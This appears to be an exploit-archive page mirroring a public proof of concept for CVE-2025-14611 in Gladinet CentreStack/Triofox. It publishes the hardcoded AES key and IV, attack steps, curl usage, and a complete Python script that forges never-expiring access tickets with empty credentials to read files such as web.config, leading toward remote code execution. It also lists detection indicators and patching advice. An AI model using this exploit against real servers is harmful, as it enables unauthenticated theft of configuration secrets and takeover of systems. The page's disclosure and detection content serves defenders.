PoC Archive PoC Archive
Critical CVE-2025-14611 unpatched

Gladinet CentreStack / Triofox Hardcoded AES Key Access-Ticket Forgery to Arbitrary File Read (CVE-2025-14611)

by pl4tyz · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-14611
Category
web
Affected product
Gladinet CentreStack and Triofox (GladCtrl64.dll / filesvr.dn file-download handler)
Affected versions
All versions prior to 16.12.10420.56791
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherpl4tyz
CVE / AdvisoryCVE-2025-14611
Categoryweb
SeverityCritical
CVSS Score9.8 (per repository)
StatusWeaponized
Tagsgladinet, centrestack, triofox, hardcoded-key, aes-256-cbc, access-ticket-forgery, arbitrary-file-read, authentication-bypass, iis-app-pool, python, cwe-798, cwe-321
RelatedCVE-2025-30406

Affected Target

FieldValue
Software / SystemGladinet CentreStack and Triofox (GladCtrl64.dll / filesvr.dn file-download handler)
Versions AffectedAll versions prior to 16.12.10420.56791
Language / PlatformWindows/IIS server (.NET), Python 3 PoC (pycryptodome)
Authentication RequiredNo (empty username/password triggers a fallback to the IIS Application Pool Identity)
Network Access RequiredYes

Summary

CentreStack and Triofox protect file-download “access tickets” with AES-256-CBC, but the encryption key and IV are not generated per-installation — they are static byte strings hardcoded in GladCtrl64.dll’s .data section and returned verbatim by the misleadingly-named GenerateSecKey/GenerateSecKey1 functions. Because the same key/IV are baked into every deployment, anyone who reverse-engineers the DLL once can decrypt and forge tickets for any CentreStack/Triofox instance in the world. A forged ticket with an empty username/password causes the filesvr.dn handler to fall back to the IIS Application Pool Identity, and a timestamp of year 9999 makes the ticket never expire — together giving an unauthenticated attacker a persistent, universal arbitrary-file-read primitive (e.g. to steal web.config, whose machineKey values can then be used to chain into CVE-2025-30406 ViewState deserialization RCE).


Vulnerability Details

Root Cause

GenerateSecKey/GenerateSecKey1 in GladCtrl64.dll do not generate anything — they return fixed UTF-16LE strings stored at static memory offsets, converted to UTF-8 and truncated to the required key/IV lengths:

Key Source (0x18000c000): 100-byte UTF-16LE Chinese-language string
IV  Source (0x18000c2c0): 100-byte UTF-16LE string beginning "moDriv..."

AES-256 Key = first 32 bytes of UTF-8(Key Source)
AES IV      = first 16 bytes of UTF-8(IV Source)

AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV:      6d6f4472697665e381afe38081e38389

These constants never change across installations. Access tickets are newline-separated Filepath / Username / Password / Timestamp records encrypted with this fixed key/IV and passed via the t query parameter to the filesvr.dn handler (GladinetStorage.FileDownloadHandler), which URL-desafes (:+, |/), Base64-decodes, and AES-CBC-decrypts the ticket using the same hardcoded SysKey/SysKey1. When the decrypted Username/Password fields are empty, the impersonation setup fails silently and the handler falls back to running as the IIS Application Pool Identity — serving the requested file with elevated privileges and no credentials at all.

Attack Vector

  1. Attacker (having reverse-engineered GladCtrl64.dll once, as documented in this repo) knows the fixed AES-256 key and IV used by every CentreStack/Triofox installation.
  2. Attacker crafts a plaintext ticket: <absolute path to target file>\n\n\n9999-11-27 14:52:04.009217 (empty username/password, far-future timestamp).
  3. Attacker AES-256-CBC-encrypts the ticket, Base64-encodes it, and URL-safes it (+:, /|).
  4. Attacker sends GET /storage/filesvr.dn?t=<forged_ticket> to the target server; empty credentials trigger the IIS Application Pool Identity fallback, and the never-expiring timestamp bypasses the 4-hour ticket-age check.
  5. The server returns the contents of the requested file (e.g. web.config), which may contain machineKey values usable to chain into CVE-2025-30406 for full RCE.

Impact

Unauthenticated arbitrary file read with elevated (IIS Application Pool) privileges, and a practical path to remote code execution when chained with CVE-2025-30406 via leaked ASP.NET machine keys. Actively exploited in the wild since at least November 2025.


Environment / Lab Setup

Target: Gladinet CentreStack or Triofox instance prior to 16.12.10420.56791
Attacker: Python 3, `pip install pycryptodome`
Known constants (from repo's reverse engineering of GladCtrl64.dll):
  AES_KEY = e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
  AES_IV  = 6d6f4472697665e381afe38081e38389

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
5
6
7
8
pip install pycryptodome

python3 exploit.py encrypt TARGET_HOST \
  -f "C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config"

curl -k 'http://TARGET_HOST/storage/filesvr.dn?t=<forged_ticket>' -o output.txt

python3 exploit.py decrypt "vghpI7EToZUDIZDdprSubL3mTZ2..."

Detection & Indicators of Compromise

GET /storage/filesvr.dn?t=<base64-url-safe ciphertext> HTTP/1.1

Known real-world indicator (encrypted representation of the web.config path):
  /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
Observed attacker source IP: 147.124.216[.]205

Signs of compromise:

  • Requests to /storage/filesvr.dn with a t parameter, especially from unauthenticated/anonymous sessions
  • IIS/application logs showing the ticket handler running under the Application Pool Identity rather than an impersonated user
  • Access to web.config or other sensitive files via the file-download handler outside of normal application flows
  • Subsequent ViewState-related anomalies (potential CVE-2025-30406 chaining) after a web.config read

Remediation

ActionDetail
Primary fixUpdate CentreStack/Triofox to version 16.12.10420.56791 or later, which addresses the hardcoded key issue
Interim mitigationRotate ASP.NET machineKey values in web.config immediately after patching; monitor/alert on requests to /storage/filesvr.dn with suspicious t parameters; restrict network access to CentreStack/Triofox from untrusted networks

References


Notes

Mirrored from https://github.com/pl4tyz/CVE-2025-14611-CentreStack-and-Triofox-full-Poc-Exploit on 2026-07-06. exploit.py contains hardcoded AES key/IV and full ticket encrypt/decrypt logic matching a detailed reverse-engineering writeup, including real-world exploitation IOCs observed since November 2025.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python3
"""
CVE-2025-14611 Proof of Concept
"""

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
import sys
import argparse

AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')

def decrypt_ticket(encrypted_ticket):
    try:
        encrypted_ticket = encrypted_ticket.replace('%7C', '|').replace('%2F', '/')
        b64_standard = encrypted_ticket.replace(':', '+').replace('|', '/')
        
        ciphertext = base64.b64decode(b64_standard)
        
        cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
        plaintext_padded = cipher.decrypt(ciphertext)
        plaintext = unpad(plaintext_padded, AES.block_size)
        
        return plaintext.decode('utf-8', errors='ignore'), None
    except Exception as e:
        return None, str(e)

def encrypt_ticket(filepath, username="", password="", timestamp="9999-11-27 14:52:04.009217"):
    ticket_content = f"{filepath}\n{username}\n{password}\n{timestamp}"

    cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
    plaintext_bytes = ticket_content.encode('utf-8')
    
    padded = pad(plaintext_bytes, AES.block_size)
    
    ciphertext = cipher.encrypt(padded)
    
    b64_encoded = base64.b64encode(ciphertext).decode('ascii')
    
    url_safe = b64_encoded.replace('+', ':').replace('/', '|')
    
    return url_safe

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-14611 PoC - Gladinet CentreStack/Triofox Arbitrary File Read',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Examples:
  # Encrypt - Generate exploit URL
  %(prog)s encrypt <target_host> [options]
  %(prog)s encrypt 192.168.1.100
  %(prog)s encrypt centrestack.com -f "C:\\Windows\\win.ini" -p 8080 --https
  
  # Decrypt - Analyze existing ticket
  %(prog)s decrypt <encrypted_ticket>
  %(prog)s decrypt "vghpI7EToZUDIZDdprSub..."
        '''
    )
    
    subparsers = parser.add_subparsers(dest='command', help='Command to execute')
    
    encrypt_parser = subparsers.add_parser('encrypt', help='Generate encrypted ticket and exploit URL')
    encrypt_parser.add_argument('target', help='Target host (e.g., 192.168.1.100 or centrestack.com)')
    encrypt_parser.add_argument('-f', '--file', default=r'C:\Program Files\Gladinet Cloud Enterprise\root\web.config',
                                help='Target file path (default: web.config)')
    encrypt_parser.add_argument('-u', '--username', default='', help='Username (default: empty for bypass)')
    encrypt_parser.add_argument('-p', '--password', default='', help='Password (default: empty for bypass)')
    encrypt_parser.add_argument('-t', '--timestamp', default='9999-11-27 14:52:04.009217',
                                help='Timestamp (default: year 9999 for never-expiring)')
    encrypt_parser.add_argument('--port', type=int, help='Port number')
    encrypt_parser.add_argument('--https', action='store_true', help='Use HTTPS instead of HTTP')
    
    decrypt_parser = subparsers.add_parser('decrypt', help='Decrypt existing ticket')
    decrypt_parser.add_argument('ticket', help='Encrypted ticket string')
    
    args = parser.parse_args()
    
    if not args.command:
        parser.print_help()
        sys.exit(1)
    
    if args.command == 'encrypt':
        ticket = encrypt_ticket(args.file, args.username, args.password, args.timestamp)
        
        protocol = "https" if args.https else "http"
        if args.port:
            base_url = f"{protocol}://{args.target}:{args.port}"
        else:
            base_url = f"{protocol}://{args.target}"
        
        exploit_url = f"{base_url}/storage/filesvr.dn?t={ticket}"
        
        print(f"Target: {args.target}")
        print(f"File:   {args.file}")
        print()
        print("Encrypted ticket:")
        print(ticket)
        print()
        print("Exploit URL:")
        print(exploit_url)
        print()
        print("Test with:")
        print(f"  curl -k '{exploit_url}' -o output.txt")
        
    elif args.command == 'decrypt':
        decrypted, error = decrypt_ticket(args.ticket)
        
        if decrypted:
            lines = decrypted.split('\n')
            print("Decrypted ticket:")
            print("-" * 60)
            print(f"Filepath:  {lines[0] if len(lines) > 0 else 'N/A'}")
            print(f"Username:  {lines[1] if len(lines) > 1 else 'N/A'}")
            print(f"Password:  {lines[2] if len(lines) > 2 else 'N/A'}")
            print(f"Timestamp: {lines[3] if len(lines) > 3 else 'N/A'}")
            print("-" * 60)
        else:
            print(f"Decryption failed: {error}")
            sys.exit(1)

if __name__ == "__main__":
    main()